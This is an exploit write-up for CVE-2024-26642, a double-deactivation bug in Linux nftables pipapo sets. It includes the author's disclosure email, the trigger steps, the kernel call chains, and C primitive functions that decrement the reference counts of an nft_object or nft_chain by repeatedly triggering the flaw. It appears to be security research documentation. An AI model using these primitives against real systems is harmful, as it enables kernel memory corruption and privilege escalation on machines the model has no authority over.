+# Exploit detail about CVE-2024-26642
+If you want to get some base information about CVE-2023-6817, please read [vulnerability.md](./vulnerability.md) first.
+
+## Background
+nftables is a netfilter project that aims to replace the existing {ip,ip6,arp,eb}tables framework, providing a new packet filtering framework for {ip,ip6}tables, a new userspace utility (nft) and A compatibility layer. It uses existing hooks, link tracking system, user space queuing component and netfilter logging subsystem.
+
+It consists of three main components: kernel implementation, libnl netlink communication and nftables user space front-end. The kernel provides a netlink configuration interface and runtime rule set evaluation. libnl contains basic functions for communicating with the kernel. The nftables front end is for user interaction through nft.
+
+nftables implements data packet filtering by using some components like `table`, `set`, `chain`, `rule`.
+
+## Some additional stories
+After reading `vulnerability.md` or `cause analysis`, you may wonder why the root cause and patch do not seem to match. I can only talk about the vulnerability reporting process for this question.
+I sent a vulnerability report to [email protected] at 2024.2.29 13:33: 
+``` 
+Hi, I've found a new vulnerability in Linux netfilter/nftable subsystem. In the function nf_tables_deactivate_set, it does not set "set->dead = 1". This makes it possible to call nft_setelem_data_deactivate with a set element more than once by following this step: 
+1. Create a pipapo set with flag NFT_SET_TIMEOUT and NFT_SET_ANONYMOUS. 
+2. Create a set element of this pipapo set with flag NFTA_SET_ELEM_EXPIRATION. 
+3. Create a chain. 
+4. Create a rule with nft_lookup expr, which will bind the pipapo set we create in step 1. 
+5. Delete the chain And finally nft_setelem_data_deactivate will be called for the same set element both in nft_map_deactivate and in function pipapo_gc.
+
+Attachment is the poc I wrote for this vulnerability, which leaks some kernel pointers. I tested it on linux 6.1.78.
+
+Thanks,
+lonial con
+```
+The email also attached a poc I wrote based on the trigger idea (it can cause the latest kernel at that time to produce crahs). I did not receive any reply emails afterwards.
+On 2024.3.5, I noticed that the maintainer of netfilter pushed a patch to netfilter (https://patchwork.ozlabs.org/project/netfilter-devel/patch/[email protected]/). He pushed the corresponding patch without asking for any opinion from me.
+
+The patch did make my poc not work, but this patch did not fix the core of the problem `set->dead = 1`. Therefore, I added two patch commits to `vulnerability.md`.
+
+## Cause anaylysis
+
+In the function nf_tables_deactivate_set, it does not set "set->dead = 1". This makes it possible to call nft_setelem_data_deactivate with a set element more than once by following this step:
+
+1. Create a pipapo set with flag NFT_SET_TIMEOUT and NFT_SET_ANONYMOUS.
+2. Create a set element of this pipapo set with flag NFTA_SET_ELEM_EXPIRATION.
+3. Create a chain.
+4. Create a rule with nft_lookup expr, which will bind the pipapo set we create in step 1.
+5. Delete the chain
+
+After you send these commands in a message list, when you reach step 5 `delete the chain`, the following call chain will occur:
+```
+nf_tables_delchain -> nft_delrule -> nft_rule_expr_deactivate -> (expr->ops->deactivate) -> nft_lookup_deactivate -> nf_tables_deactivate_set -> case NFT_TRANS_PREPARE: nft_map_deactivate
+```
+`nft_map_deactivate` will eventually call `nft_setelem_data_deactivate` for all set elements in the set.
+
+But at the same time, after all commands are executed, nftable will also call `nf_tables_commit`, which triggers another call chain:
+
+```
+nf_tables_commit -> (set->ops->commit) -> nft_pipapo_commit -> pipapo_gc -> nft_pipapo_gc_deactivate -> nft_setelem_data_deactivate
+```
+
+Finally, `nft_setelem_data_deactivate` will be called for elements which are timed out in the pipapo set, which may result in multiple calls to `nft_setelem_data_deactivate` for the same set element.
+
+## Triggering the vulnerability
+
+It's easy to trigger it by following this steps:
+
+- Create a pipapo set with flag NFT_SET_TIMEOUT and NFT_SET_ANONYMOUS.
+- Create a set element of this pipapo set with flag NFTA_SET_ELEM_EXPIRATION.
+- Create a chain.
+- Create a rule with nft_lookup expr, which will bind the pipapo set we create in step 1.
+- Delete the chain 
+
+
+## Exploit it
+The method of exploiting CVE-2024-26642 is exactly the same as that of exploiting CVE-2023-6817. If you want to learn how I exploit CVE-2023-6817, please read [here](https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/docs/exploit.md).The only difference is how to construct the two primitives.
+
+## Primitive
+### Primitive_0
+I build a function named as `primitive_0` to change the nft_object->use by triggering the vulnerabiltiy:
+
+```c
+//make target_obj->use = target_obj->use - repeat_time
+void primitive_0(struct nl_sock *socket, char *table, char *target_obj, int repeat_time){
+    char *pad = malloc(0x100);
+    memset(pad,0x41,0x100);
+    int i,j;
+    struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*0x100);
+    char *key = malloc(0x40);
+    char *set_name = "set for primitive0";
+    char *chain_name = "chain for primitive0";
+    msg_list[0] = new_set_pipapo_for_timeout_with_anonymous_msg(table, set_name, NFT_OBJECT_CT_EXPECT);
+    for(i=0;i<repeat_time;i++){
+        *(uint64_t *)key = i;
+        msg_list[i+1] = new_setelem_with_expiration_msg(table, set_name, pad, 0xc0, target_obj, key, 0x40, NULL, 0, 0,0x0100000000000000);
+    }
+    msg_list[repeat_time+1] = new_chain_msg(table, chain_name, 0);
+    msg_list[repeat_time+2] = new_rule_lookup_for_chain_msg(table, chain_name, set_name, 0);
+    msg_list[repeat_time+3] = del_chain_msg(table, chain_name);
+    send_msg_list(socket, msg_list, repeat_time+4);
+
+    free(msg_list);
+    free(pad);
+}
+```
+
+
+How it works:
+1. message 0: Create a pipapo set with flags `NFT_SET_TIMEOUT` and `NFT_SET_ANONYMOUS`
+2. message from 1 to (repeat_time): Create repeat_time set elements, all of which contain `NFTA_SET_ELEM_EXPIRATION` and `NFTA_SET_ELEM_TIMEOUT`.
+3. message repeat_time+1: Create a chain
+4. message repeat_time+2: Create a rule on the chain, which contains an expr of type `lookup`. `lookup` expr can be bound to an `nft_set` when initialized, and we let it bind the pipapo set created by message[0].
+5. message repeate_time+3: delete the chain created by message repeat_time+1
+When the above message is sent, two rounds of calls to `nft_setelem_data_deactivate` for the same set element will be triggered:
+
+The first round is when executing message repeate_time+3, and the following call path will be generated in the end:
+
+```c
+nf_tables_delchain -> nft_delrule -> nft_rule_expr_deactivate -> (expr->ops->deactivate) -> nft_lookup_deactivate -> nf_tables_deactivate_set -> nft_map_deactivate
+```
+
+The `nft_map_deactivate` function will call `nft_mapelem_deactivate` -> `nft_setelem_data_deactivate` for all elements in the pipapo set created by message 0.
+
+The second round is after all messages are executed, `netfilter` will call the `nf_tables_commit` function, and finally generate the calling path:
+```c
+nft_set_commit_update -> (set->ops->commit) -> nft_pipapo_commit -> pipapo_gc -> nft_pipapo_gc_deactivate -> nft_setelem_data_deactivate
+```
+The function `pipapo_gc` will also call `nft_setelem_data_deactivate` for all timeout elements in pipapo set.
+(This is why it is necessary to add `set->dead = 1` in nf_tables_deactivate_set to fix the vulnerability, because after adding this line of code, the subsequent operations will not be executed in the function nft_set_commit_update.)
+
+It will trigger the vulnerability as described above. In order to achieve the effect of executing "nft_object->use--" multiple times on the same nft_object, I created multiple set elements using the same nft_object at one time.
+
+### Primitive_1
+I build a function named as `primitive_1` to change the nft_chain->use by triggering the vulnerabiltiy:
+
+```c
+//make target_chain->use = target_chain->use - repeat_time
+void primitive_1(struct nl_sock *socket, char *table, char *target_chain, int repeat_time){
+    char *pad = malloc(0x100);
+    memset(pad,0x41,0x100);
+    int i,j;
+    struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*0x100);
+    char *set_name = "set for primitive1";
+    char *chain_name = "chain for primitive1";
+    char *key = malloc(0x40);
+    msg_list[0] = new_set_pipapo_for_timeout_and_chain_with_anonymous_msg(table, set_name, 0x40);
+    for(i=0;i<repeat_time;i++){
+        *(uint64_t *)key = i;
+        msg_list[i+1] = new_setelem_with_chain_and_expiration_msg(table, set_name, pad, 0xc0, target_chain, key, 0x40, NULL, 0, 0,0x0100000000000000);
+    }
+    msg_list[repeat_time+1] = new_chain_msg(table, chain_name, 0);
+    msg_list[repeat_time+2] = new_rule_lookup_for_chain_msg(table, chain_name, set_name, 1);
+    msg_list[repeat_time+3] = del_chain_msg(table, chain_name);
+    send_msg_list(socket, msg_list, repeat_time+4);
+
+    free(msg_list);
+    free(pad);
+}
+```
+It will trigger the vulnerability as described above. In order to achieve the effect of executing "nft_chain->use--" multiple times on the same nft_object, I created multiple set elements using the same nft_chain at one time.
